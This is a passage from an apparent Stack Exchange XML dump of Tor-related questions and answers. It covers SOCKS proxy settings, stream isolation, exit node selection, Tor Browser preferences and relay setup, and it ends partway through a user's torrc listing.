  <row Id="22776" PostTypeId="2" ParentId="21564" CreationDate="2021-10-09T14:52:34.187" Score="0" Body="&lt;p&gt;Looks like you have a fake executable - it's not a paranoia, I've helped some years ago on this very website to the person who has got a fake &lt;code&gt;tor.exe&lt;/code&gt; file in the distribution. Let's run through a checklist:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is the checksum and the URL for your source website's HTTPS certificate?&lt;/li&gt;&#xA;&lt;li&gt;Have you performed a checksum verification for a binary/distro you've downloaded?&lt;/li&gt;&#xA;&lt;li&gt;How exactly have you reached the site you've got the distribution from?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-09T14:52:34.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22777" PostTypeId="2" ParentId="22771" CreationDate="2021-10-09T16:48:21.940" Score="0" Body="&lt;p&gt;Are you asking if there exists a standalone program that has tor client baked in - so that you wouldn't need a separate tor process running?&lt;/p&gt;&#xA;&lt;p&gt;Such a program would have to initiate its connection to Tor network every time it's started, which would be extremely slow and costly. That is, unless it would run as a daemon, but then it would act like a system tor process anyway.&lt;/p&gt;&#xA;&lt;p&gt;The project you linked also seems (in its own words) like &amp;quot;a poor man's GNU Wget&amp;quot;. It doesn't currently do what its name says and as far as I can see it doesn't even support proxies.&lt;/p&gt;&#xA;&lt;p&gt;I know that's not the answer you were looking for, but I recommend just using any &amp;quot;downloader&amp;quot; that supports SOCKS proxies with remote hostname resolving. You can tell such a program to connect over Tor, which also allows it to download files from .onion websites. In most cases tor proxy is specified with the following string:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;socks5h://127.0.0.1:9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;h&lt;/code&gt; in &lt;code&gt;socks5h://&lt;/code&gt; tell the program that it should remotely resolve domain names. &lt;code&gt;9050&lt;/code&gt; is default SOCKS port of system tor, while Tor Browser uses &lt;code&gt;9150&lt;/code&gt; by default instead.&lt;/p&gt;&#xA;&lt;p&gt;You can also tell tor process to isolate your downloader's stream via SOCKS credentials (username and password) which can be anything you want. For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;socks5h://my_downloader:random_token@127.0.0.1:9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the way Tor Browser does stream isolation based on URL-bar domain.&lt;/p&gt;&#xA;&lt;p&gt;I've also come across programs that only recognize &lt;code&gt;socks5://&lt;/code&gt; proxies (without &lt;code&gt;h&lt;/code&gt;), yet internally still resolve domain names through the proxy (so no DNS leaks). youtube-dl is such an example.&lt;/p&gt;&#xA;&lt;p&gt;If the program doesn't support SOCKS proxies then you can still try torifying it with torsocks, but if the program somehow bypasses its wrapper then it will leak. torsocks also supports stream isolation via &lt;code&gt;--isolate&lt;/code&gt; argument:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;torsocks --isolate my_downloader ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33390" LastActivityDate="2021-10-09T16:48:21.940" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22778" PostTypeId="1" CreationDate="2021-10-09T17:20:29.713" Score="0" ViewCount="365" Body="&lt;p&gt;I like the feature subset Tor has from firefox and the hardened settings. I also like the IP hiding I get when using Tor for personal browsing. Sometimes however, the Tor network gets in the way when I am accessing specific sites for work. I currently switch to chrome just for those specific sites because the IP hopping is seen as a security red flag.&lt;/p&gt;&#xA;&lt;p&gt;I would like to ask if it is possible to configure Tor browser to not use the Tor network. I actually have asked in a couple of other forums but the only response I get to my technical question is the moral debate of whether I should disable Tor network.&lt;/p&gt;&#xA;&lt;p&gt;I appreciate any guidance.&lt;/p&gt;&#xA;" OwnerUserId="33391" LastActivityDate="2022-03-09T20:01:40.147" Title="Is it possible to use Tor without Tor network?" Tags="|tor-browser-bundle|configuration|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22779" PostTypeId="2" ParentId="22778" CreationDate="2021-10-09T18:43:24.373" Score="0" Body="&lt;p&gt;Well, it's &lt;em&gt;technically possible&lt;/em&gt;, but it's completely useless. To do the greater dig - just use Firefox ESR and a VM&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-09T18:43:24.373" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22783" PostTypeId="2" ParentId="19255" CreationDate="2021-10-11T16:55:08.400" Score="0" Body="&lt;p&gt;Well, the ones you've mentioned - are very long-term ones and yes, they are using Tor. I2P has got some good amount of non-public outproxies, and that is how it has to be:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Same as Tor's exit nodes, outproxies are diversifying the ways/IP zones of the exiting traffic&lt;/li&gt;&#xA;&lt;li&gt;Instead of Tor, private outproxy can be easily specified on-flight and used by the I2P client natively, there's no private ExitNode in Tor, sadly - and using proxy/VPN as a hidden service has some additional work to do and has nothing in common with the Tor itself&lt;/li&gt;&#xA;&lt;li&gt;I used to spot some in I2P directories - check them&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-11T16:55:08.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22784" PostTypeId="1" CreationDate="2021-10-12T02:34:13.107" Score="0" ViewCount="169" Body="&lt;p&gt;I have heard that in Tor it is possible to increase the speed by using only the fastest relays. However, I did not find anything like this in the &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;instructions&lt;/a&gt;. How can i do this?&lt;/p&gt;&#xA;" OwnerUserId="33400" LastActivityDate="2022-03-16T15:07:30.817" Title="How to use only the fastest relays?" Tags="|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22785" PostTypeId="2" ParentId="21896" CreationDate="2021-10-12T20:42:53.727" Score="0" Body="&lt;p&gt;Yes, if something/anything is leaking any kind of your data. The OrBot - or TransProxy in Linux/Unix - it's &lt;em&gt;just&lt;/em&gt; a route diversion layer that works &lt;strong&gt;only&lt;/strong&gt; if there's nothing else is leaking your data. In a simple example: a tool like &lt;code&gt;wget&lt;/code&gt; or &lt;code&gt;fetch&lt;/code&gt; or &lt;code&gt;curl-cli&lt;/code&gt; will not leak anything by &lt;strong&gt;itself&lt;/strong&gt;, but anything else that is running(and there's a lot of stuff on Android for OrBot - including a proprietary/closed-source OS kernel itself) that can avoid it&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-12T20:42:53.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22786" PostTypeId="2" ParentId="22523" CreationDate="2021-10-13T05:16:11.310" Score="0" Body="&lt;p&gt;As you already guessed and Steve correctly pointed out, the restrictions apply to both relay and client.&#xA;You will have to run two instances to separate relay and client operation.&lt;/p&gt;&#xA;&lt;p&gt;Regarding docs, it is clearly stated here&#xA;&lt;a href=&quot;https://2019.www.torproject.org/docs/faq.html.en#Hibernation&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/docs/faq.html.en#Hibernation&lt;/a&gt;&#xA;and here&#xA;&lt;a href=&quot;https://support.torproject.org/relay-operators/hibernation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/relay-operators/hibernation/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31200" LastActivityDate="2021-10-13T05:16:11.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22787" PostTypeId="1" CreationDate="2021-10-13T09:22:27.410" Score="0" ViewCount="137" Body="&lt;p&gt;Why can't I apply CSS to an element? I cannot do this either with the developer tools (Browser Toolbox) or by writing the desired settings in &lt;code&gt;userChrome.css&lt;/code&gt;, yes in about:config the setting is activated.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FD7zr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FD7zr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33400" LastActivityDate="2022-03-12T18:00:55.083" Title="Why can't I apply CSS?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22788" PostTypeId="2" ParentId="11954" CreationDate="2021-10-13T12:26:07.460" Score="0" Body="&lt;p&gt;I was unable to make this work using &lt;code&gt;socat&lt;/code&gt; but I did find a nice new Golang proxy that worked without any issue: &lt;a href=&quot;https://github.com/willscott/onionproxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/willscott/onionproxy&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16143" LastActivityDate="2021-10-13T12:26:07.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22789" PostTypeId="2" ParentId="11954" CreationDate="2021-10-13T15:06:24.383" Score="0" Body="&lt;p&gt;You need NGinX - or another appropriate to your service - &lt;em&gt;server&lt;/em&gt; bound to your localhost &lt;em&gt;and&lt;/em&gt; a socket listener rule &lt;strong&gt;for the very addressed you need&lt;/strong&gt;, no proxy is needed as well&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-13T15:06:24.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22790" PostTypeId="2" ParentId="22787" CreationDate="2021-10-13T15:18:52.880" Score="0" Body="&lt;p&gt;Tor Browser &lt;em&gt;is&lt;/em&gt; a Firefox, but it's explicitly tuned for privacy, so - just like in your case - many ubiquitous features are discarded and filtered for the sake of fingerprinting prevention&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-13T15:18:52.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22791" PostTypeId="2" ParentId="22523" CreationDate="2021-10-13T15:21:05.703" Score="0" Body="&lt;p&gt;The Accounting &lt;strong&gt;is&lt;/strong&gt; strict - and that's how it has to be, but - it can't be used just alone, or you will expect not just the issue you already have. Tor's &lt;code&gt;torrc&lt;/code&gt; has also a bandwidth options - add them &lt;strong&gt;manually&lt;/strong&gt; and calculate the speeds according to your Accounting settings&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-13T15:21:05.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22794" PostTypeId="1" CreationDate="2021-10-15T16:08:47.157" Score="-1" ViewCount="62" Body="&lt;p&gt;I tried: new circuit, new identity, set &amp;quot;ExitNodes {US}&amp;quot; and restart tor&lt;/p&gt;&#xA;&lt;p&gt;my ip address always remains the same.&lt;/p&gt;&#xA;" OwnerUserId="33378" LastActivityDate="2021-10-16T19:10:50.160" Title="How can i change my ip addres" Tags="|relays|ip-address|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22795" PostTypeId="2" ParentId="22093" CreationDate="2021-10-16T11:14:57.537" Score="0" Body="&lt;p&gt;Well, basically you don't need &lt;strong&gt;any&lt;/strong&gt; custom libraries for Java or any other language &lt;strong&gt;unless&lt;/strong&gt; you're about to use object-oriented bindings to Tor Control Protocol(you can use it as a plaintext telnet for a simple commands like &lt;code&gt;SIGNAL NWEWNYM&lt;/code&gt; to change the circuits - it will be handy for a data gathering you've mentioned). All you really need to utilize Socks5&lt;strong&gt;s&lt;/strong&gt; proxy protocol to make sure that DNS will be resolved through a proxy server(Tor's backend). But you can do it even more easier: use Tor's built-in HTTPS proxy to make a &lt;code&gt;CONNECT&lt;/code&gt; call to the hostname you desire. That's it! No rocket science or custom libraries required!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-16T11:14:57.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22796" PostTypeId="2" ParentId="22794" CreationDate="2021-10-16T11:20:28.603" Score="0" Body="&lt;p&gt;All you've missed is &lt;code&gt;StrictNodes 1&lt;/code&gt; option - it tells Tor that it has to enforce the nodes to be on your ExitNodes list. New identity helps to circle through them&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2021-10-16T19:10:50.160" LastActivityDate="2021-10-16T19:10:50.160" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22797" PostTypeId="2" ParentId="20796" CreationDate="2021-10-16T13:45:11.247" Score="0" Body="&lt;p&gt;Well, first of all - you need to use Linux or FreeBSD box or VM for that. At that box you're connecting through VPN and after that it depends on what your VPN is giving you in a matter of the IP:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;NAT&lt;/strong&gt; - worst scenario, because it usually also grants you a dynamic and sometimes also a private IP. In this case you need to route &lt;code&gt;tor&lt;/code&gt; process' user - it's a &lt;code&gt;deian-tor&lt;/code&gt; or &lt;code&gt;tor&lt;/code&gt; usually - through the firewall by user basis to use the &lt;code&gt;tunX&lt;/code&gt; device of your VPN making an exception for all private networks. And - if your VPN ip is a private one - make an exception for this network in your firewall rules&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Direct IP&lt;/strong&gt; - even if it's a dynamic one, there's no problem, just route tor's user through the device and make all the private networks an exception.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Only after that moves your entry guard will see the VPN server as a query originator for sure. Do not use Windows for that tricks - even using a ProtonVPN-like apps that do offer a per-application routing settings, leaks happening&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-16T13:45:11.247" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22799" PostTypeId="1" CreationDate="2021-10-17T13:00:53.540" Score="0" ViewCount="157" Body="&lt;p&gt;Tor creates temp files in /tmp when downloading files, this is obliviously a security issue. How can i prevent Tor from using /tmp ?&lt;/p&gt;&#xA;" OwnerUserId="33378" LastActivityDate="2021-12-16T17:05:50.627" Title="How can i prevent tor from using /tmp" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22801" PostTypeId="2" ParentId="22784" CreationDate="2021-10-17T14:55:10.883" Score="0" Body="&lt;p&gt;Well, the &amp;quot;fastest&amp;quot; is a very relative to the clearnet topology: so, for example, one guard can be a blazing fast for you but a laggy hole for another user. The network is reorganizing dynamically, so the manual guard selection is totally not a task to be worried about&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-17T14:55:10.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22802" PostTypeId="2" ParentId="22799" CreationDate="2021-10-17T15:09:03.780" Score="0" Body="&lt;p&gt;Well, Tor &lt;strong&gt;does not&lt;/strong&gt; create it - it's daemon is just a network service. The browser - it's a &lt;em&gt;separate&lt;/em&gt; binary, so - yes, you're right: it's a privacy leak indeed. To mitigate it use either a VM routed through Tor with a regular browser or use QubesOS with a disposable VM for that kind of tasks. If you have to use Tor browser in a routed VM - make sure that your Tor will use your another Tor instance to access the Tor network&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-17T15:09:03.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22803" PostTypeId="1" CreationDate="2021-10-18T05:20:37.643" Score="0" ViewCount="194" Body="&lt;p&gt;I use a vpn on Android. I used it signed in to google play store when downloading TOR. My activity was switched on so now Google knows when I downloaded TOR browser:&lt;/p&gt;&#xA;&lt;p&gt;Can Google see:&lt;/p&gt;&#xA;&lt;p&gt;(A) My search history.&#xA;(B) A list of URLs I visited.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="33442" LastActivityDate="2022-03-17T16:03:30.287" Title="Google’s ability to read search history on TOR" Tags="|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22804" PostTypeId="2" ParentId="22803" CreationDate="2021-10-18T16:00:29.360" Score="0" Body="&lt;p&gt;Yes, if you have Google play services installed on your Android OS: the software inventarization &amp;quot;feature&amp;quot; is not just for having a list of your programs installed - this thing is also capable of collecting crush data, so one of the leak vectors is when the Tor browser crush dump will be obtained. Another leak vector is a vendor-made backdoors that are incorporated in lots of devices like Xiaomi or in Yota. To be secure from that you need to install LineageOS or AOSP for your phone &lt;em&gt;without&lt;/em&gt; google play services by transferring APK's and installing them. Tor browser's APK does not require play services at all and it can be downloaded directly&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-18T16:00:29.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22805" PostTypeId="1" CreationDate="2021-10-18T17:16:41.883" Score="0" ViewCount="12" Body="&lt;p&gt;please did someone know how to use eclipse to run or test Collector ,or metrics using eclipse IDE,how to run&#xA;&lt;a href=&quot;https://gitlab.torproject.org/tpo/network-health/metrics/collector&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/network-health/metrics/collector&lt;/a&gt;,&lt;/p&gt;&#xA;" OwnerUserId="33446" LastActivityDate="2022-03-17T18:06:00.713" Title="run collector with Eclipse IDE" Tags="|source-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22806" PostTypeId="2" ParentId="21232" CreationDate="2021-10-18T17:19:05.640" Score="0" Body="&lt;p&gt;If you don't enable SSL protection - so there is no SSL inspection - then they can not track you &lt;em&gt;unless&lt;/em&gt; you're installing the browser add-on from the antivirus manufacturer. &lt;em&gt;Keep in mind that some antiviruses are actually a spyware and rootkit - look at Kasperskiy's one for example: you can not disable SSL inspection at all in that software.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-18T17:19:05.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22807" PostTypeId="2" ParentId="22805" CreationDate="2021-10-18T17:27:33.753" Score="0" Body="&lt;p&gt;You need OpenJDK properly installed on your system, then just run it as a Java application with the corresponding file containing &lt;code&gt;main()&lt;/code&gt; function implementation. The CollecTor is basically a Java application you can extend or use as it is.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-18T17:27:33.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22809" PostTypeId="2" ParentId="20729" CreationDate="2021-10-18T21:44:01.343" Score="0" Body="&lt;p&gt;Well, first of all you need to find out your Boot key or BBS menu key in your BIOS, it's usually showed at the boot process. Usually it's like F2, F8, F10, F11, F12 or basically a Del - just try them! After that - &lt;strong&gt;keep in mind&lt;/strong&gt; that to achieve the fully available privacy you &lt;strong&gt;have to&lt;/strong&gt; unplug your HDD/SSD before booting up - it will make your local data inaccessible even in case of a zero-day exploits&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-18T21:44:01.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22810" PostTypeId="1" AcceptedAnswerId="22816" CreationDate="2021-10-19T01:39:37.993" Score="0" ViewCount="297" Body="&lt;p&gt;I would like to build an application that connects the phone like Orxy/Orbot, although I cannot figure out how.&lt;/p&gt;&#xA;&lt;p&gt;How might I connect to tor using java, or connect to the socks proxy tor interface in java.&lt;/p&gt;&#xA;&lt;p&gt;Thank you stackers,&lt;/p&gt;&#xA;&lt;p&gt;Good night!&lt;/p&gt;&#xA;" OwnerUserId="33451" LastActivityDate="2021-10-19T19:34:40.483" Title="How to connect android device to TOR programmatically" Tags="|proxy|torsocks|socks|android|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22811" PostTypeId="1" CreationDate="2021-10-19T03:46:00.213" Score="1" ViewCount="207" Body="&lt;p&gt;When I click the &amp;quot;New Identity&amp;quot; button in Tor browser, there's a prompt&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Tor Browser will close all windows and tabs. All website sessions will be lost.&lt;/p&gt;&#xA;&lt;p&gt;Restart Tor Browser now to reset your identity?&lt;/p&gt;&#xA;&lt;p&gt;[ ] Never ask me again&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I accidentally chose the &amp;quot;Never ask me again&amp;quot; and click [Yes].&lt;/p&gt;&#xA;&lt;p&gt;Now I want to get the prompt back. How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="33454" LastActivityDate="2022-03-18T05:08:00.827" Title="How can I undo the &quot;Never ask me again&quot; setting when I click the &quot;New identity&quot; button?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22812" PostTypeId="2" ParentId="22811" CreationDate="2021-10-19T03:46:00.213" Score="1" Body="&lt;h3&gt;Method 1: Use &lt;code&gt;about:config&lt;/code&gt; page&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Type &lt;code&gt;about:config&lt;/code&gt; into the navigation bar of Tor browser, accept the warning&lt;/li&gt;&#xA;&lt;li&gt;Search for &lt;code&gt;extensions.torbutton.confirm_newnym&lt;/code&gt; option, change the value to &lt;code&gt;True&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Method 2: Modify the preference file in Tor browser directly&lt;/h3&gt;&#xA;&lt;p&gt;(&lt;strong&gt;not recommended&lt;/strong&gt;! See the comment at the top of the file)&lt;/p&gt;&#xA;&lt;p&gt;Open the file&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tor-browser_en-US/Browser/TorBrowser/Data/Browser/profile.default/prefs.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There should be a line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;user_pref(&amp;quot;extensions.torbutton.confirm_newnym&amp;quot;, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Change &lt;code&gt;true&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;sub&gt;&lt;em&gt;I searched in Tor preferences window (and on the Internet) for a while and can't find anything related. Do post another answer if there's a simpler method.&lt;/em&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="33454" LastActivityDate="2021-10-19T03:46:00.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22814" PostTypeId="2" ParentId="20528" CreationDate="2021-10-19T19:15:07.000" Score="0" Body="&lt;p&gt;Well, running &lt;code&gt;nyx&lt;/code&gt; as Tor user (it's named mostly as &lt;code&gt;tor&lt;/code&gt; or &lt;code&gt;debian-tor&lt;/code&gt; in a packaged binaries) has it's uses, but &lt;strong&gt;only&lt;/strong&gt; if you're using a unix socket for a Control Protocol. The truth is that the Tor control protocol does &lt;strong&gt;not&lt;/strong&gt; provide a fully-featured authentication system &lt;em&gt;with all the necessary  protections&lt;/em&gt; like brute force defense et cetera. So, if you're operating on a machine &lt;em&gt;physically&lt;/em&gt; - yes, it's OK to use tor's user. If you're connecting to the machine remotely - forget the unix socket and use the TCP port &lt;strong&gt;properly encapsulated&lt;/strong&gt; into a really secure wrapper: STunnel with the full client and server verification with easyRSA is the easiest way, but it's secure enough to be trusted. Also keep in mind, that nyx has to be running constantly, i.e. in a screen detached terminal, so you will see actual data. If you need to collect the data and check it out from time to time - nyx is &lt;strong&gt;not&lt;/strong&gt; a right tool: I recommend using &lt;code&gt;rrdtool&lt;/code&gt; or &lt;code&gt;Zabbix&lt;/code&gt; for this task - and the filesystem socket will do you good in that case.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-19T19:15:07.000" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22815" PostTypeId="2" ParentId="20838" CreationDate="2021-10-19T19:31:52.783" Score="1" Body="&lt;p&gt;Well, I'm using Tor with windows 10 - it works! Here are some tips for you:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First of all, &lt;strong&gt;use the expert bundle&lt;/strong&gt;. You need to make a &lt;em&gt;separate&lt;/em&gt; user, isolated from anything else and having no permissions except &lt;code&gt;c:\Tor&lt;/code&gt; folder - or another &lt;em&gt;spaceless latin letters only folder in a root of the drive&lt;/em&gt;. Folder path &lt;em&gt;is&lt;/em&gt; important - it will save your day many times preventing glitches. Run it as a system service from the isolated user you've created&lt;/li&gt;&#xA;&lt;li&gt;You can make things better using a RAM drive - there's a free one named Radeon RAMDisk, a collaboration of AMD and DataRam, works flawlessly! &lt;a href=&quot;http://memory.dataram.com/products-and-services/software/ramdisk&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://memory.dataram.com/products-and-services/software/ramdisk&lt;/a&gt; &amp;lt;-- here is the official website, HTTPS also available, but the msi distribution is signed, so it's not mandatory :) Use the ram disk for your Tor data folder - it will speed some things up just like tmpfs does it on Linux&lt;/li&gt;&#xA;&lt;li&gt;You use it as a proxy &lt;strong&gt;only&lt;/strong&gt; if you're just in need to load a website or reach a torrent tracker, i.e. for not so sensitive data. Otherwise you use &lt;strong&gt;VirtualBox&lt;/strong&gt; for a full VM isolation &lt;em&gt;and&lt;/em&gt; VirtualBox's feature to proxify the VM-specific activity [ File -&amp;gt; Preferences -&amp;gt; Proxy ] &lt;strong&gt;and&lt;/strong&gt; You're creating an interface for a Host-only(isolated) network for your VM's and put Tor's HTTPS and SOCKS proxy ports there as well.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Basically - that's it! Feel free to ask more specific details if you need ones&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-19T19:31:52.783" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22816" PostTypeId="2" ParentId="22810" CreationDate="2021-10-19T19:34:40.483" Score="0" Body="&lt;p&gt;You need to run Tor on your device - use a fully static build, after that - using TransPort and iptables(Android is Linux by kernel) you're doing the rest. That's it - no rocket science here. Keep in mind, to connect the whole device - you will need a root privileges for your app&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-19T19:34:40.483" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22817" PostTypeId="2" ParentId="15573" CreationDate="2021-10-19T19:42:30.850" Score="0" Body="&lt;p&gt;Well, there's a great tutorial I can not add a point to - see it by this link &lt;a href=&quot;https://winaero.com/open-port-windows-firewall-windows-10/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://winaero.com/open-port-windows-firewall-windows-10/&lt;/a&gt; and for windows 7 or 8 you just need to open the firewall rules editor, it looks the same. What you need to do is two things:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable &lt;code&gt;tor.exe&lt;/code&gt; binary to make an outbound connections, &lt;strong&gt;make sure that it's in a root folder with no spaces and english-only letters&lt;/strong&gt;! &lt;code&gt;C:\Tor&lt;/code&gt; is the right choice&lt;/li&gt;&#xA;&lt;li&gt;Open the inbound connections for TCP traffic to your ORPort - it will improve your connectivity greatly, most of tutorials do miss this important step.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-19T19:42:30.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22819" PostTypeId="1" CreationDate="2021-10-19T22:38:25.413" Score="0" ViewCount="5708" Body="&lt;p&gt;I am running Tails OS on a live USB and am attempting to run traffic through Tor.&lt;/p&gt;&#xA;&lt;p&gt;The Tor Browser is working via the SOCKS5 proxy on 127.0.0.1:9050.&lt;/p&gt;&#xA;&lt;p&gt;When I try to run:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl --socks5-hostname localhost:9050 https://check.torproject.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I get:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl: (7) Failed to connect to localhost port 9050: Connection refused&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The Tor service is running on ports 9050 and 9150, but I cannot connect to either of them via anything other than the browser.&lt;/p&gt;&#xA;&lt;p&gt;Trying:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;torify -P 9050 curl https://check.torproject.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Returns:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl: (6) Could not resolve host: check.torproject.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;torify -P 9150 curl https://check.torproject.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The same:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1634724584 PERROR torsocks[23634]: socks5 libc connect: Connection refused (in socks5_connect() at socks5.c:202)&#xA;curl: (6) Could not resolve host: check.torproject.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;/etc/tor/torrc:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1, and Tor will ignore it&#xA;&#xA;AutomapHostsOnResolve 1&#xA;AutomapHostsSuffixes .exit,.onion&#xA;AvoidDiskWrites 1&#xA;ClientTransportPlugin obfs2,obfs3,obfs4,meek_lite exec /usr/bin/obfs4proxy managed&#xA;ControlPort 127.0.0.1:9052&#xA;DNSPort 5353&#xA;Log notice file /var/log/tor/log&#xA;RunAsDaemon 0&#xA;SocksPort 